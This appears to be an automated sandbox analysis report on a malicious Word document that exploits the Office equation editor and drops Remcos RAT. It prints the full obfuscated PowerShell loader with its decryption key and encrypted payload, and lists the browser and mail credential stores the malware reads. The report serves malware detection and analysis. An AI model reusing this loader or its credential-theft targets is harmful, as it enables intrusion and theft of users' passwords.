'+'cniaiyj4w4pdxrjybtpe+kcmxai0n0wfrewtqqo6ll9vcemso5/wu4wu8dficwqoqgghunsdgf18ada181zl+9aimrygbbhoql1xtrlupeyomibgkdw5hx/pyeqs0jw3vh2+cyhtxzw4maxppvkui6guliz8desop8ywwp+kl3lpnxuvod/qbkfflwtqldasslauzjbizi2g2z8ngqwpbshstgk8ixwe1n31tdvyvkp3t5t5wy1hmud74k+ymoudrhg5myz3dusqcna3ijfjlebg/zio/kcvqgjgfjjv8ugk/yy2p5oa+5qfogc8iixuoiniopayztidkvoogmbgfmbkku0xgvqmjjkcymtejtarogt9ayzx/ed96flgwk+okfu0gpy3zgarb0lj0uoulymaynqjjj3ofvs7de8jjcteqbknfr/caolbilhsynqwsogsdhrrvf5yyzmpm83vqh06v2szjv2yab9lsahigxjwtu+c0ovhz5vdqtl/xa+xpgcscc3s+9s4ottmjqd+y6ogggjtzyrp3pnltgtugxgv6fddehpsu/xdy/8gaxcgujh9mr8gb130pu+0ybw9hdbq2iwvdvhvmv9qexc/zgzm2wkprsh6kwtabvqcmsp7v0n0die/lfstsbi95dayr1r09j361kgvwhjfgtsyjktizxk3kjr8ned9ctp7hr1sis66dd0gkngvgibm3hqi4l/jbulztldoquscmtpojbmvvd+mpgtoxpgctnjjimltyvvp67c5k3tf8ib1o6pkqeqcxhq5hyr1qq3eq0hjl5zncjy/sut8qdltfucum3xrlxaeh032mipclizjhwfgmosjskijlds99v3vtpgcxzznxnns2du/73nt4uyfnd4j7+i54btgng1g4j6a5nhvo9kkofs0c0denf7cridemf7psj0injztc2arct3aejt3zvjwcbykoykpppt5njp0jlb5ab1obzoo8ytyn1zek16qtxf/udhcfshjs/b3tfxkd2trnhujolv+fes7istg3tpoffvrigpqfl4iglpip2k7alwxezhax+w9ftnkh054aimueyzsp0jtvg2vjbq1oafoqjhbvwqgkaazrnd+6l+lgqp6asijm8ttew0nyudisw5x5js0lelejrfsismbujrdpew/2ol5tavipcwawwofdzk+coq0ni1bv4ecz4/itbc8rsv1s7k18zvjwbyhmimm9irxaprgzkscaodhtkxf53rnwycy7cipt+8od/n5oytyzcvj7sdqkql5dqbvs23f23qxjw9fayzgdfz8roqgg9trdb2fyyffhpkwcgrn8f9ld4f+xjt70yid/tbdb3duwezhvgmnsbmoaw6o9dawkzehdjcdtozpnsktye26n8cig+nrxd0lhn5rbg3mlzmew==cni;tmitextodescriptografado = decrypt-aesencryption -'+'base64text tmitextocriptografadobase64 -key tmichave;w'+'rite-host cnitexe4j+e4jto descre4j+e4jiptografado: tmi'+'textodescriptograe4j+e4jfadocni;invoke-expressioe4j+e4jn tmitext'+'oe4j+e4jdescriptografado;e4j)-replace ([char]67+[char]110+['+'char]73),[char]34 -crep
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command (('((e4jfunction decrypt-aesencryption {param([string]tmibase64text,[stringe4j+e4j]tmikey)tmie4j+e4jaesmanaged = new-object system.see4j+e4jcurity.cryptography.aesmanaged;tmia'+'esmanagee4j+e4'+'jd.modee4j+e4j = [syse4j+'+'e4jtem.security.cryptoge4j+e4jraphy.e4j+e'+'4jcie4'+'j+e4jphermode]::cbc;tmiaesmanaged.'+'pae4j+e4jddin'+'g = [system.security.cryptography.paddingmode]::zeros;tmiaesmanaged.blocksiz'+'e = 128;tmiaesmanaged.keysize = 256;'+'tmiaesmanagee4j+'+'e4jd.key = ('+'new-objecte4'+'j+e4j system.security.cryptography.sha256managed).computehash([syste'+'m.text.encoding]::utf8.gee4j+e4jtbytes(tmikey));tmicipherbytes = [syst'+'em.convert]::frombase64string(tmibase64text);tmiaesmanaged.iv '+'= tmicipherbytes[0..15];tmidecryptor = tmiaesmanaged.createdecryptor();tmidecryptedbytes = tmidecryptor.transformfin'+'alblock(tmicipherbytes, 16, tmicipherbytes.length - 16);e4j+e4jtmiae'+'smanaged.d'+'ispose('+');return [system.text.encoding]::utf8.getstring'+'(tmidecry'+'ptedbytes).tre4j+e4jim([char]0);}tmichave = cni16942742004897547110020442916503cnie4j+e4j;tmitextocriptogr'+'afadobase4j+e4je64 = '+'cniaiyj4w4pdxrjybtpe+kcmxai0n0wfrewtqqo6ll9vcemso5/wu4wu8dficwqoqgghunsdgf18ada181zl+9aimrygbbhoql1xtrlupeyomibgkdw5hx/pyeqs0jw3vh2+cyhtxzw4maxppvkui6guliz8desop8ywwp+kl3lpnxuvod/qbkfflwtqldasslauzjbizi2g2z8ngqwpbshstgk8ixwe1n31tdvyvkp3t5t5wy1hmud74k+ymoudrhg5myz3dusqcna3ijfjlebg/zio/kcvqgjgfjjv8ugk/yy2p5oa+5qfogc8iixuoiniopayztidkvoogmbgfmbkku0xgvqmjjkcymtejtarogt9ayzx/ed96flgwk+okfu0gpy3zgarb0lj0uoulymaynqjjj3ofvs7de8jjcteqbknfr/caolbilhsynqwsogsdhrrvf5yyzmpm83vqh06v2szjv2yab9lsahigxjwtu+c0ovhz5vdqtl/xa+xpgcscc3s+9s4ottmjqd+y6ogggjtzyrp3pnltgtugxgv6fddehpsu/xdy/8gaxcgujh9mr8gb130pu+0ybw9hdbq2iwvdvhvmv9qexc/zgzm2wkprsh6kwtabvqcmsp7v0n0die/lfstsbi95dayr1r09j361kgvwhjfgtsyjktizxk3kjr8ned9ctp7hr1sis66dd0gkngvgibm3hqi4l/jbulztldoquscmtpojbmvvd+mpgtoxpgctnjjimltyvvp67c5k3tf8ib1o6pkqeqcxhq5hyr1qq3eq0hjl5zncjy/sut8qdltfucum3xrlxaeh032mipclizjhwfgmosjskijlds99v3vtpgcxzznxnns2du/73nt4uyfnd4j7+i54btgng1g4j6a5nhvo9kkofs0c0denf7cridemf7psj0injztc2arct3aejt3zvjwcbykoykpppt5njp0jlb5ab1obzoo8ytyn1zek16qtxf/udhcfshjs/b3tfxkd2trnhujolv+fes7istg3tpoffvrigpqfl4iglpip2k7alwxezhax+w9ftnkh054aimueyzsp0jtvg2vjbq1oafoqjhbvwqgkaazrnd+6l+lgqp6asijm8ttew0nyudisw5x5js0lelejrfsismbujrdpew/2ol5tavipcwawwofdzk+coq0ni1bv4ecz4/itbc8rsv1s7k18zvjwbyhmimm9irxaprgzkscaodhtkxf53rnwycy7cipt+8od/n5oytyzcvj7sdqkql5dqbvs23f23qxjw9fayzgdfz8roqgg9trdb2fyyffhpkwcgrn8f9ld4f+xjt70yid/tbdb3duwezhvgmnsbmoaw6o9dawkzehdjcdtozpnsktye26n8cig+nrxd0lhn5rbg3mlzmew==cni;tmitextodescriptografado = decrypt-aesencryption -'+'base64text tmitextocriptografadobase64 -key tmichave;w'+'rite-host cnitexe4j+e4jto descre4j+e4jiptografado: tmi'+'textodescriptograe4j+e4jfadocni;invoke-expressioe4j+e4jn tmitext'+'oe4j+e4jdescriptografado;e4j)-replace ([char]67+[char]110+['+'char]73),[char]34 -crepJump to behavior
              Source: RegAsm.exe, 00000008.00000002.883935263.0000000000891000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerChromeode] - Microsoft Word
              Source: RegAsm.exe, 00000008.00000002.883935263.00000000008E4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Managerll
              Source: RegAsm.exe, 00000008.00000002.883935263.0000000000891000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: |Program Manager|
              Source: RegAsm.exe, 00000008.00000002.883935263.0000000000891000.00000004.00000020.00020000.00000000.sdmp, logs.dat.8.drBinary or memory string: [Program Manager]
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00434C52 cpuid 8_2_00434C52
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: EnumSystemLocalesW,8_2_00452036
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,8_2_004520C3
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,8_2_00452313
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: EnumSystemLocalesW,8_2_00448404
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,8_2_0045243C
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,8_2_00452543
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,8_2_00452610
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoA,8_2_0040F8D1
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,8_2_004488ED
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: IsValidCodePage,GetLocaleInfoW,8_2_00451CD8
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: EnumSystemLocalesW,8_2_00451F50
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: EnumSystemLocalesW,8_2_00451F9B
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db VolumeInformationJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db VolumeInformationJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db VolumeInformationJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00448957 GetSystemTimeAsFileTime,8_2_00448957
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0041B60D GetComputerNameExW,GetUserNameW,8_2_0041B60D
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00449190 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,8_2_00449190
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_0041739B GetVersionExW,10_2_0041739B
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

              Stealing of Sensitive Information

              barindex
              Yara detected Remcos RAT
              Source: Yara matchFile source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.2.powershell.exe.444d080.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.2.powershell.exe.444d080.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000008.00000002.883935263.0000000000891000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000006.00000002.370133163.0000000004128000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3116, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 3264, type: MEMORYSTR
              Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\Notepo\logs.dat, type: DROPPED
              Contains functionality to steal Chrome passwords or cookies
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: \AppData\Local\Google\Chrome\User Data\Default\Login Data8_2_0040BA12
              Contains functionality to steal Firefox passwords or cookies
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: \AppData\Roaming\Mozilla\Firefox\Profiles\8_2_0040BB30
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: \key3.db8_2_0040BB30
              Searches for Windows Mail specific files
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail <.oeaccountJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail NULLJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail *Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail NULLJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup *Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup NULLJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new *Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new NULLJump to behavior
              Tries to harvest and steal browser information (history, passwords, etc)
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\places.sqliteJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.dbJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.dbJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.dbJump to behavior
              Tries to steal Instant Messenger accounts or passwords
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Google\Google Talk\AccountsJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Google\Google Talk\AccountsJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\PaltalkJump to behavior
              Tries to steal Mail credentials (via file / registry access)
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\AccountsJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Identities\{56EE7341-F593-4666-B32B-0DA2F15C6755}\Software\Microsoft\Office\Outlook\OMI Account Manager\AccountsJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\ProfilesJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\OutlookJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\06cf47254c38794586c61cc24a734503Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45aJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\205c3a58330443458dd2ac448e6ca789Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\2b8b37090290ba4f959e518e299cb5b1Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3743a3c1c7e1f64e8f29008dfcb85743Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\53408158a6e73f408d707c6c9897ca11Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\5d87f524a0d3e441a43ef4f9aa2c1e35Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\78c2c8d3c60b8e4dbd322a28757b4addJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\b17a5dedc883424088e68fc9f8f9ce35Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f6b27b1a9688564abf9b7e1bd5ef7ca7Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\IncrediMail\IdentitiesJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live MailJump to behavior
              Tries to steal Mail credentials (via file registry)
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: ESMTPPassword11_2_004033F0
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: _mbscpy,_mbscpy,_mbscpy,_mbscpy,RegCloseKey, PopPassword11_2_00402DB3
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: _mbscpy,_mbscpy,_mbscpy,_mbscpy,RegCloseKey, SMTPPassword11_2_00402DB3
              Yara detected WebBrowserPassView password recovery tool
              Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 3264, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 3416, type: MEMORYSTR

              Remote Access Functionality

              barindex
              Detected Remcos RAT
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-F4JFYDJump to behavior
              Yara detected Remcos RAT
              Source: Yara matchFile source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.2.powershell.exe.444d080.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.2.powershell.exe.444d080.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000008.00000002.883935263.0000000000891000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000006.00000002.370133163.0000000004128000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3116, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 3264, type: MEMORYSTR
              Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\Notepo\logs.dat, type: DROPPED
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: cmd.exe8_2_0040569A

              Mitre Att&ck Matrix

              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
              Gather Victim Identity Information121
              Scripting              		Valid Accounts11
              Native API              		121
              Scripting              		1
              DLL Side-Loading              		11
              Deobfuscate/Decode Files or Information              		2
              OS Credential Dumping              		2
              System Time Discovery              		Remote Services11
              Archive Collected Data              		13
              Ingress Tool Transfer              		Exfiltration Over Other Network Medium1
              System Shutdown/Reboot
              CredentialsDomainsDefault Accounts53
              Exploitation for Client Execution              		1
              DLL Side-Loading              		1
              Bypass User Account Control              		2
              Obfuscated Files or Information              		211
              Input Capture              		1
              Account Discovery              		Remote Desktop Protocol1
              Data from Local System              		2
              Encrypted Channel              		Exfiltration Over BluetoothNetwork Denial of Service
              Email AddressesDNS ServerDomain Accounts223
              Command and Scripting Interpreter              		1
              Windows Service              		1
              Access Token Manipulation              		1
              DLL Side-Loading              		2
              Credentials in Registry              		1
              System Service Discovery              		SMB/Windows Admin Shares2
              Email Collection              		1
              Remote Access Software              		Automated ExfiltrationData Encrypted for Impact
              Employee NamesVirtual Private ServerLocal Accounts2
              Service Execution              		Login Hook1
              Windows Service              		1
              Bypass User Account Control              		3
              Credentials In Files              		4
              File and Directory Discovery              		Distributed Component Object Model211
              Input Capture              		2
              Non-Application Layer Protocol              		Traffic DuplicationData Destruction
              Gather Victim Network InformationServerCloud Accounts2
              PowerShell              		Network Logon Script422
              Process Injection              		1
              Masquerading              		LSA Secrets38
              System Information Discovery              		SSH3
              Clipboard Data              		212
              Application Layer Protocol              		Scheduled TransferData Encrypted for Impact
              Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts21
              Virtualization/Sandbox Evasion              		Cached Domain Credentials3
              Security Software Discovery              		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
              DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
              Access Token Manipulation              		DCSync21
              Virtualization/Sandbox Evasion              		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
              Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job422
              Process Injection              		Proc Filesystem4
              Process Discovery              		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
              Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAtHTML Smuggling/etc/passwd and /etc/shadow1
              Application Window Discovery              		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
              IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCronDynamic API ResolutionNetwork Sniffing1
              System Owner/User Discovery              		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
              Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchdStripped PayloadsInput Capture1
              Remote System Discovery              		Software Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption

              Behavior Graph

              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Is Windows Process
              • Number of created Registry Values
              • Number of created Files
              • Visual Basic
              • Delphi
              • Java
              • .Net C# or VB.NET
              • C, C++ or other language
              • Is malicious
              • Internet
              behaviorgraph top1 signatures2 2 Behavior Graph ID: 1483046 Sample: erthings.doc Startdate: 26/07/2024 Architecture: WINDOWS Score: 100 59 Found malware configuration 2->59 61 Malicious sample detected (through community Yara rule) 2->61 63 Antivirus detection for URL or domain 2->63 65 23 other signatures 2->65 10 WINWORD.EXE 336 18 2->10         started        process3 file4 37 C:\Users\...\~WRD0000.tmp:Zone.Identifier, ASCII 10->37 dropped 39 C:\Users\user\Desktop\~WRD0000.tmp, Rich 10->39 dropped 41 C:\Users\user\Desktop\erthings.doc (copy), Rich 10->41 dropped 43 ~WRF{01C6C27F-A561...2-2BC57BD07727}.tmp, Composite 10->43 dropped 13 EQNEDT32.EXE 12 10->13         started        process5 dnsIp6 57 192.3.176.154, 49163, 49165, 80 AS-COLOCROSSINGUS United States 13->57 47 C:\...\screensimplethingstohandlecream.vBS, Unicode 13->47 dropped 99 Office equation editor establishes network connection 13->99 101 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 13->101 18 wscript.exe 1 13->18         started        